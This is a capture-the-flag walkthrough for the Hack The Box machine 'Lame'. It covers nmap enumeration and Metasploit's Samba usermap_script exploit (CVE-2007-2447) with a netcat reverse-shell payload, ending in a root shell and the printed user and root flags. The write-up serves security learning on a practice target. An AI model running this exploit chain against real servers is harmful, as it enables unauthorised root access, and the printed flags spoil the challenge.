

Lame

Synopsis

Lame is a beginner level machine, requiring only one exploit to obtain root access

Skills required:

- Knowledge of Linux
- Enumerating ports and services
- Identifying vulnerable services
- Exploiting Samba

Enumeration

We start the test from running nmap to discover what ports and services are available

```

# nmap -A 10.10.10.3
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-30 19:17 EDT
Nmap scan report for 10.10.10.3 (10.10.10.3)
Host is up (0.12s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 10.10.14.2
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 600fcfc05f6a74d69024fac4d56ccd (DSA)
|_2048 5656240f211ddea72bae61b1243de8f3 (RSA)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home control
ler (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated R
emote Access Controller (iDRAC6) (92%), Linksys WET54G55 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likel
y embedded) (92%), Citrix XenServer 5.5 (Linux 2.6.18) (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap reveals vsftpd 2.3.4, OpenSSH and Samba. Vsftpd 2.3.4 does have a built-in backdoor, however it is not exploitable in this instance.

Exploitation

Exploitation is trivial on this machine. After attempting (and failing) to enter using the “obvious” vsftpd attack vector, Samba becomes the only target. Using CVE-2007-2447, which conveniently has a Metasploit module associated with it, will immediately grant a root shell. The user flag can be obtained from /home/makis/user.txt and the root flag from /root/root.txt

```
msf6 > search samba

Matching Modules
=====
#    Name                                          Disclosure Date  Rank   Check  Description
-    -
0    exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21      excellent Yes    Citrix Access Gateway Command Execution
1    exploit/windows/license/calicclnt_getconfig    2005-03-02      average  No     Computer Associates License Client GETCONFIG Overflow
2    exploit/unix/misc/distcc_exec                 2002-02-01      excellent Yes    DistCC Daemon Command Execution
3    exploit/windows/smb/group_policy_startup       2015-01-26      manual   No     Group Policy Script Execution From Shared Resource
4    post/linux/gather/enum_configs                normal          No     Linux Gather Configurations
5    auxiliary/scanner/rsync/modules_list           normal          No     List Rsync Modules
6    exploit/windows/fileformat/ms14_060_sandworm   2014-10-14      excellent No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
7    exploit/unix/http/quest_kace_systems_management_rce 2018-05-31      excellent Yes    Quest KACE Systems Management Command Injection
8    exploit/multi/samba/usermap_script            2007-05-14      excellent No     Samba "username map script" Command Execution
9    exploit/multi/samba/nttrans                   2003-04-07      average  No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
10   exploit/linux/samba/setinfopolicy_heap         2012-04-10      normal   Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
11   auxiliary/admin/smb/smb_symlink_traversal     normal          No     Samba Symlink Directory Traversal
12   auxiliary/scanner/smb/smb_uninit_cred         normal          Yes    Samba netr ServerPasswordSet Uninitialized Credential State
13   exploit/linux/samba/chain_reply               2010-06-16      good     No     Samba Chain_reply Memory Corruption (Linux x86)
14   exploit/linux/samba/is_known_pipename         2017-03-24      excellent Yes    Samba is_known_pipename() Arbitrary Module Load
15   auxiliary/dos/samba/lsa_addprivs_heap         normal          No     Samba lsa_io_privilege.set Heap Overflow
16   auxiliary/dos/samba/lsa_transnames_heap       normal          No     Samba lsa_io.trans.names Heap Overflow
17   exploit/linux/samba/lsa_transnames_heap       2007-05-14      good     Yes    Samba lsa_io.trans.names Heap Overflow
18   exploit/osx/samba/lsa_transnames_heap         2007-05-14      average  No     Samba lsa_io.trans.names Heap Overflow
19   exploit/solaris/samba/lsa_transnames_heap     2007-05-14      average  No     Samba lsa_io.trans.names Heap Overflow
20   auxiliary/dos/samba/read_nttrans_ea_list      normal          No     Samba read_nttrans_ea_list Integer Overflow
21   exploit/freebsd/samba/trans2open              2003-04-07      great   No     Samba trans2open Overflow (*BSD x86)
22   exploit/linux/samba/trans2open                2003-04-07      great   No     Samba trans2open Overflow (Linux x86)
23   exploit/osx/samba/trans2open                  2003-04-07      great   No     Samba trans2open Overflow (Mac OS X PPC)
24   exploit/solaris/samba/trans2open              2003-04-07      great   No     Samba trans2open Overflow (Solaris SPARC)
25   exploit/windows/http/smb_r6_search_results    2003-06-21      normal   Yes    Samba r6 Search Results Buffer Overflow
```

Module: exploit/multi/samba/usermap_script

```
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    yes             The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT     139             The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     10.0.2.15        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(multi/samba/usermap_script) > 
```

```

whoami
root
ls -al
total 28
drwxr-xr-x 2 makis makis 4096 Mar 14 2017 .
drwxr-xr-x 6 root root 4096 Mar 14 2017 ..
-rw-r--r-- 1 makis makis 1107 Mar 14 2017 .bash_history
-rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash_logout
-rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
-rw-r--r-- 1 makis makis 586 Mar 14 2017 .profile
-rw-r--r-- 1 makis makis 0 Mar 14 2017 .sudo_as_admin_successful
-rw-r--r-- 1 makis makis 33 May 30 09:41 user.txt
cat user.txt
5f90088e188ed528e23082e2502870003

```

```

msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:39828) at 2023-05-30 19:19:23 -0400

whoami
root
ls -la
total 101
drwxr-xr-x 21 root root 4096 Oct 31 2020 .
drwxr-xr-x 21 root root 4096 Oct 31 2020 ..
drwxr-xr-x 2 root root 4096 Oct 31 2020 bin
drwxr-xr-x 4 root root 1024 Nov 3 2020 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 13 root root 13540 May 30 09:40 dev
drwxr-xr-x 96 root root 4096 May 30 09:40 etc
drwxr-xr-x 6 root root 4096 Mar 14 2017 home
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img -> boot/initrd.img-2.6.24-32-server
lrwxrwxrwx 1 root root 32 Oct 31 2020 initrd.img.old -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 Oct 31 2020 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw-r--r-- 1 root root 17357 May 30 09:41 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
dr-xr-xr-x 112 root root 0 May 30 09:40 proc
drwxr-xr-x 13 root root 4096 May 30 09:41 root
drwxr-xr-x 2 root root 4096 Nov 3 2020 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 May 30 09:40 sys

```

```

cd /root
ls -al
total 80
drwxr-xr-x 13 root root 4096 May 30 09:41 .
drwxr-xr-x 21 root root 4096 Oct 31 2020 ..
-rw-r--r-- 1 root root 373 May 30 09:41 .Xauthority
lrwxrwxrwx 1 root root 9 May 14 2012 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 Oct 20 2007 .bashrc
drwx----- 3 root root 4096 May 20 2012 .config
drwx----- 2 root root 4096 May 20 2012 .filezilla
drwxr-xr-x 5 root root 4096 May 30 09:41 .fluxbox
drwx----- 2 root root 4096 May 20 2012 .gconf
drwx----- 2 root root 4096 May 20 2012 .gconfd
drwxr-xr-x 2 root root 4096 May 20 2012 .gststreamer-0.10
drwx----- 4 root root 4096 May 20 2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20 2007 .profile
drwx----- 5 root root 4096 May 20 2012 .purple
-rwx----- 1 root root 4 May 20 2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20 2012 .ssh
drwx----- 2 root root 4096 May 30 09:41 .vnc
drwxr-xr-x 2 root root 4096 May 20 2012 Desktop
-rwx----- 1 root root 401 May 20 2012 reset_logs.sh
-rw-r--r-- 1 root root 33 May 30 09:41 root.txt
-rw-r--r-- 1 root root 118 May 30 09:41 vnc.log
cat root.txt
4ae04289873478a8727e1b22b48bdd4e

```